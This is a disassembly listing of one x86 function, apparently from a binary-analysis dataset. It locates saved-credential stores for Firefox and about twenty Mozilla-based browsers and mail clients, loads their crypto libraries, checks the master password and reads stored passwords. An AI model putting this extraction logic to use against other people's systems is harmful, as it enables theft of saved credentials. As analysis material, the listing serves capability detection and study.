Function at 0x415c2e
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7d8
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
xor eax, eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x10]
push 0x3e7
push eax
mov byte [ebp - 0x7d4], al
lea eax, [ebp - 0x7d3]
push eax
mov dword [ebp - 0x7d8], edi
call fcn.00626f50
xor eax, eax
push 0x3e7
push eax
mov byte [ebp - 0x3ec], al
lea eax, [ebp - 0x3eb]
push eax
call fcn.00626f50
push edi
push ebx
push esi
mov edi, str.LoadPasswordFromFirefox
push edi
push str._n__s_Entered___Browser_Type___d__profile_path__s____install_path_s
call fcn.00449974
push ebx
call fcn.00631510
add esp, 0x30
cmp eax, 2
jae 0x415ced
push esi
call fcn.0044a516
mov edi, eax
pop ecx
test edi, edi
jne 0x415ccd
push str.LoadPasswordFromFirefox
push str._s_:_Failed_to_find_Firefox_profile_path
call fcn.00449974
pop ecx
pop ecx
xor eax, eax
jmp 0x416088
push edi
call fcn.0044975e
pop ecx
test eax, eax
jne 0x415cfe
push edi
push str.LoadPasswordFromFirefox
push str._s_:_Firefox_profile_path_does_not_exist___s_
call fcn.00449974
add esp, 0xc
jmp 0x415cc6
push ebx
push edi
push str._n__s__Using_the_supplied_profile_path___s_
call fcn.00449974
add esp, 0xc
mov edi, ebx
push edi
push str.LoadPasswordFromFirefox
push str._s_:_Found_Firefox_profile_path___s_
call fcn.00449974
push str.LoadPasswordFromFirefox
push str._s_:_Checking_for_default_DLLs_path_...
call fcn.00449974
lea eax, [ebp - 0x3ec]
push eax
push ebx
push esi
call fcn.0044a429
add esp, 0x20
test eax, eax
je 0x415d4a
lea eax, [ebp - 0x3ec]
push eax
push str.LoadPasswordFromFirefox
push str._s_:___Found_Default_Install_path___s_
call fcn.00449974
jmp 0x415d66
cmp esi, 0xf
jne 0x415d70
push dword [ebp - 0x7d8]
lea eax, [ebp - 0x3ec]
push 0x3e8
push eax
call fcn.006311ec
add esp, 0xc
xor ebx, ebx
jmp 0x415fcb
push str.LoadPasswordFromFirefox
push str._s_:_Default_DLL_Folder_Not_Found...Now_finding_app_specific_Install_Path
call fcn.00449974
pop ecx
pop ecx
lea eax, [ebp - 0x7d4]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x2a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x415daf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.LoadPasswordFromFirefox
push str._s_:_Failed_to_find_Program_files_folder..so_the_Install_Path_not_found___Error__0x_.8x
jmp 0x415ce3
cmp esi, 3
jne 0x415dbe
push str.Mozilla_Firefox
jmp 0x415f6e
cmp esi, 0xfd
jne 0x415dd0
push str.Mozilla_Thunderbird
jmp 0x415f6e
cmp esi, 8
jne 0x415ddf
push str.SeaMonkey
jmp 0x415f6e
cmp esi, 0x1b
jne 0x415dee
push str.ComodoIceDragon
jmp 0x415f6e
cmp esi, 0x20
jne 0x415dfd
push str.Pale_Moon
jmp 0x415f6e
cmp esi, 0x28
jne 0x415e0c
push str.NETGATEBlack_Hawk
jmp 0x415f6e
cmp esi, 0x29
jne 0x415e1b
push str.Cyberfox
jmp 0x415f6e
cmp esi, 0x2a
jne 0x415e2a
push 0x67b054
jmp 0x415f6e
cmp esi, 0x2b
jne 0x415e39
push str.IceCat
jmp 0x415f6e
cmp esi, 0x3c
jne 0x415e48
push str.SlimBrowser
jmp 0x415f6e
cmp esi, 0x44
jne 0x415e57
push str.Basilisk
jmp 0x415f6e
cmp esi, 0x4a
jne 0x415e66
push str.Cliqz
jmp 0x415f6e
cmp esi, 0x4c
jne 0x415e75
push str.BitTube_Browser
jmp 0x415f6e
cmp esi, 0x104
jne 0x415e87
push str.Postbox
jmp 0x415f6e
cmp esi, 0x10b
jne 0x415e99
push str.FossaMail
jmp 0x415f6e
cmp esi, 0x74
jne 0x415ea8
push str.Instantbird
jmp 0x415f6e
cmp esi, 0x5c
jne 0x415eb7
push str.Ablaze_Floorp
jmp 0x415f6e
cmp esi, 0x5e
jne 0x415ec6
push str.ArtistScope_Web_Browser
jmp 0x415f6e
cmp esi, 0x5f
jne 0x415ed5
push str.LibreWolf
jmp 0x415f6e
cmp esi, 0x10e
jne 0x415ee7
push str.Epyrus
jmp 0x415f6e
cmp esi, 0x10f
jne 0x415ef6
push str.Interlink
jmp 0x415f6e
cmp esi, 0x17
jne 0x415f8e
push str.Waterfox
lea eax, [ebp - 0x7d4]
push eax
push 0x66c218
lea eax, [ebp - 0x3ec]
push 0x3e8
push eax
call fcn.00445d6d
lea eax, [ebp - 0x3ec]
push eax
call fcn.0044975e
add esp, 0x18
test eax, eax
jne 0x415f8e
push str.Waterfox_Classic
lea eax, [ebp - 0x7d4]
push eax
push 0x66c218
lea eax, [ebp - 0x3ec]
push 0x3e8
push eax
call fcn.00445d6d
lea eax, [ebp - 0x3ec]
push eax
call fcn.0044975e
add esp, 0x18
test eax, eax
jne 0x415f8e
push str.Waterfox_Current
lea eax, [ebp - 0x7d4]
push eax
push 0x66c218
lea eax, [ebp - 0x3ec]
push 0x3e8
push eax
call fcn.00445d6d
add esp, 0x14
lea eax, [ebp - 0x3ec]
push eax
call fcn.0044975e
pop ecx
test eax, eax
lea eax, [ebp - 0x3ec]
push eax
push esi
push str.LoadPasswordFromFirefox
jne 0x415fbe
push str._s_:_App__d_Install_Path_does_not_exist__returning_now___s_
call fcn.00449974
add esp, 0x10
jmp 0x415cc6
push str._s_:_Found_Install_path_for_app__d____s_
call fcn.00449974
add esp, 0x10
lea eax, [ebp - 0x3ec]
push eax
push str.LoadPasswordFromFirefox
push str._s_:___Final_App_install_path___s_
call fcn.00449974
lea eax, [ebp - 0x3ec]
push eax
call fcn.0044c564
add esp, 0x10
test eax, eax
lea eax, [ebp - 0x3ec]
push eax
jne 0x41600a
push str.LoadPasswordFromFirefox
push str._s_:_Firefox_library_initialization_failed._Make_sure_the_dependent_DLLs_are_in_the_same_folder__s_
jmp 0x415ce3
push edi
call fcn.0044c67a
pop ecx
pop ecx
test eax, eax
jne 0x416033
push edi
push str.LoadPasswordFromFirefox
push str._s_:_Firefox_Crypto_library_initialization_failed._Make_sure_KEY3.DB__CERT8.DB_files_are_present_in_the_specified_profile_path.__s_
call fcn.00449974
add esp, 0xc
call fcn.0044c7b7
jmp 0x415cc6
push 0x66ae5d
call fcn.0044b973
pop ecx
test eax, eax
jne 0x41606c
cmp byte [0x716c60], al
je 0x416059
push 0x716c60
call fcn.0044b973
pop ecx
test eax, eax
jne 0x41606c
push str.LoadPasswordFromFirefox
push str._s_:_Firefox_master_password_verification_failed._Either_this_is_first_time_or_Master_password_is_set
call fcn.00449974
pop ecx
pop ecx
jmp 0x416081
push dword [ebp + 0x14]
push esi
push 0x716c60
push edi
call fcn.0044c466
xor ebx, ebx
add esp, 0x10
inc ebx
call fcn.0044c7b7
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret